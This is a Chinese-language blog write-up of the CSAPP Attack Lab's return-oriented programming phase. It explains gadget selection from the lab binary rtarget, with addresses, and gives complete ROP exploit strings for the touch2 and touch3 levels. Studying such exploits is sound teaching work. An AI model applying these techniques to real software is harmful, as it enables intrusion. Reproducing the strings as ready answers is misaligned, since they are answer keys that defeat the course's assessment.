文章目录
-
- Lab 总结博客链接
- 前引
- Part II: Return-Oriented Programming
-
- TEST 4
-
- Advices + 所需机械码
- TEST 4 实现思路分析
- TEST 4 实现代码
- TEST 4 PASS结果
- TEST 5
-
- Advices + 所需机械码
- TEST 5 实现思路分析
- TEST 5 实现代码
- TEST 5 PASS结果
- 结束语
Lab 总结博客链接
CSAPP Lab入门系统安装摸索 + Lab 博客链接
前引
刚刚才写完 实属不易 - - 但这个实验还是值得我花这么多时间去做 那废话少说 我们走起
Part II: Return-Oriented Programming
下面放一下官方文档的截图
那我这里还是说一下 这一部分Part和上面的区别吧 我们这里用了栈随机性
和禁止栈中使用命令
什么意思呢 栈随机性
就导致我们栈的位置不再固定 也导致我们不能像上面一样 运行命令直接用栈中的确切位置就返回了 禁止栈中使用命令
意思是 如果我们的命令是在栈中的 即rip
指向栈 则会报错(段错误)
我们这边给出了 解决办法 我们文中提供了非常多的小工具 举个例子
原函数
void setval_210(unsigned *p)
{
*p = 3347663060U;
}
反汇编得到结果
0000000000400f15 <setval_210>:
400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)
400f1b: c3 retq
关注上面的机器码单独截出来 48 89 c7 可翻译为movq %rax, %rdi.
c3
可翻译为retq
我们函数可以通过跳转到指定地址(0x400f18) 完成movq %rax,%rdi
retq
的指令 通过类似的小指令 不断地跳转 我们就可以完成我们最后的目标
上面我对这部分也作了说明 相关的方法也讲了 那我们就直接进入实验了
TEST 4
Advices + 所需机械码
这部分的话 我们要完成的部分还是touch2
只不过是rtarget
部分
下面是advises
如果已经有实现想法的把下面看了 就可以去做了 ^^ 没有的话就继续往下看
这里是我们后面实验需要用到的指令 对应的机器码
advices
? All the gadgets you need can be found in the region of the code for rtarget demarcated by the functions start_farm and mid_farm.
所有你需要的小工具都可以在代码区域找到由start_farm和mid_farm的功能划定。
? You can do this attack with just two gadgets.
只需两个小工具即可进行此攻击。
? When a gadget uses a popq instruction, it will pop data from the stack. As a result, your exploit string will contain a combination of gadget addresses and data.
当小工具使用 popq 指令时,它会从堆栈中弹出数据。因此,您的漏洞利用字符串将包含小工具地址和数据的组合。
TEST 4 实现思路分析
好了 这部分就开始讲实现思路了 我们首先需要popq rdi
把%rdi
中存放着cookie
然后我们再利用retq
返回到touch2
即完成任务
但是没有那么直接 因为我们先去看看我们的工具部分机器码能不能提供我们相应功能 如果没有的话 我们就需要转折一下 曲线达成目的
那下面我们进入汇编中看看 这部分是我从rtarget.asm
中截取出来的
通过搜索48 89
还有对于popq
对应的机械码 找到了两个对这个实验有用的指令且有效的指令(不唯一)
对了 0xc3 = retq
0x90 = nop
popq %rax 58
0x4019a7
movq %rax,%rdi
0x4019c3
我们的思路是
popq %rax
(%rax = 0x59b997fa)
(location: 0x4019ab)
retq(jmp location: 0x4019c5)
movq %rax,%rdi(location: 0x4019c5)
retq(jmp location: touch2 4017ec)
最后reach touch2^^
TEST 4 实现代码
已经很清晰了 不能再写的详细点了 那我们直接给出我们的机械码
01 01 01 01
01 01 01 01
01 01 01 01
01 01 01 01
01 01 01 01
01 01 01 01
01 01 01 01
01 01 01 01
01 01 01 01
01 01 01 01
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
c5 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00
TEST 4 PASS结果
最后老命令./hex2raw < hex1.txt | ./rtarget -q
PASS啦~
TEST 5
Advices + 所需机械码
这部分的话 如果时间比较多 或者理解比较好的话 哈哈 这部分就可以尝试一下 这里的话我待会会给一点提示 给完提示做的话 比较好完成 ^^
这部分的话 是完成touch3
的任务
再给一次对应的机器码
官方文档tips
? You’ll want to review the effect a movl instruction has on the upper 4 bytes of a register, as is described on page 183 of the text.
您需要查看 移动 指令对寄存器上 4 字节的影响,如文本第 183 页所述。
? The official solution requires eight gadgets (not all of which are unique).
官方解决方案需要八个小工具(并非所有小工具都是独一无二的)。
我的友情tips
? 实现需要用到现成
lea
指令lea
有add+mov指令
相同作用**
? 注意字符串存储位置 思路和我们之前的TEST 3差不多
? 实现思路不难 只不过需要转几个弯得到最终目的
看完上面的tips
了 就可以自己去实现了 ^^ 当时我也是想了半天 为什么没有add
指令 之后看了点思路 发现还有lea
也可以用 就做出来了
还是没有什么思路的hxd
可以继续看下面的思路讲解了
TEST 5 实现思路分析
一样的 因为有了栈随机性 我们不能指定指针确切位置了 但是我们可以通过相对位置 + 栈顶的位置 先获取到栈顶的位置 然后加上我们放置距离栈顶的相对位置 即得
但是找可用的命令过程比较艰难 这部分的话 我先说一下我怎么想的
我们首先要获取栈顶的位置 那我们就看
Source = rsp
的mov
指令机械码 看看有什么寄存器与其相关联movl movq
其实都差不多 只差一个开头的48
所以我们ctrl+F
我们就只需要管后面的部分
然后在发现movq %rsp,%rax
可用时 则先找movq %rax,%rdi
因为我们最终需要%rdi
装字符串的指针开始地址 找到了 然后想想怎么定位栈顶字符串的地址呢
最上面的我的友情提示tips
说了lea命令
可以起到add
的作用 找到了lea (%rdi,%rsi,1),%rax
就发现rsi
可以作相对位置偏移的量 这个偏移量由最终栈顶离字符串的相对偏移位置来确定%rdi
里面存%rsp
刚开始的栈顶位置 可最开始由movq %rsp,%rax
movq %rax,%rdi
来得到 最后的偏移位置在%rax
中 我们只需要把movq %rax,%rdi
即完成了最后这个Phase了
但是现在问题在 我们怎么把偏移量放到%rsi
里面呢pop %rsi
找不到这个机械码 我们只能逆向思维 找找与mov %rsi
相关的命令了
刚开始只搜索出了movl %ecx,$esi
问题就来到了怎么把%eax
与%ecx
起到联系 因为只有%rax
是可以pop
的 可以指定值的 之后又逆向寻找movl %ecx
最后一直这样逆向寻找 最后发现%eax -> %edx -> %ecx -> %esi
这样转换值就可以了 整体思路就在上面了
这里就放一下加上指令的整体思路图了 放了后面就直接放代码了 讲的很仔细了
movq %rsp,%rax
0x401a03
movq %rax,%rdi0x4019c3
popq rax0x4019ca
%eax -> %edx -> %ecx -> %esi
movq %eax,%edx0x4019db
movq %edx,%ecx0x401a68
movq %ecx,%esi0x401a11
lea %rdi + %rsi* 1, %rax0x4019d6
movq %rax,%rdi0x4019c3
TEST 5 实现代码
这里就直接放代码咯
特别解释一下为什么 相对偏移量为0x48
而不是10行8字节 0x50
因为刚开始的第一个是返回地址 - - rsp
从第一条开始才转移值的
01 01 01 01
01 01 01 01
01 01 01 01
01 01 01 01
01 01 01 01
01 01 01 01
01 01 01 01
01 01 01 01
01 01 01 01
01 01 01 01
06 1a 40 00 00 00 00 00
c5 19 40 00 00 00 00 00
cc 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
69 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
c5 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61 00
TEST 5 PASS结果
最后老命令了 ./hex2raw < hex1.txt | ./rtarget -q
终于PASS啦 太不容易了 大概ctarget 3 rtarget 1 2
写了一下午+一晚上 当然包括了写博客的时间啦 还是挺好玩的 哈哈 ^^ 做完之后还是心里面不得不佩服老美的老师们 花了大量的时间 做了这些精品Lab
真的很提升能力啊 真的很佩服 我们国家计算机还有很长的路要走啊
结束语
现在已经晚上10点了 待会还得去抄英语作业 明天早上8点的英语早课 该应付的还是得应付啊 呜呜 发完这篇博客就休息了 IT人还是很累的 各位早点休息~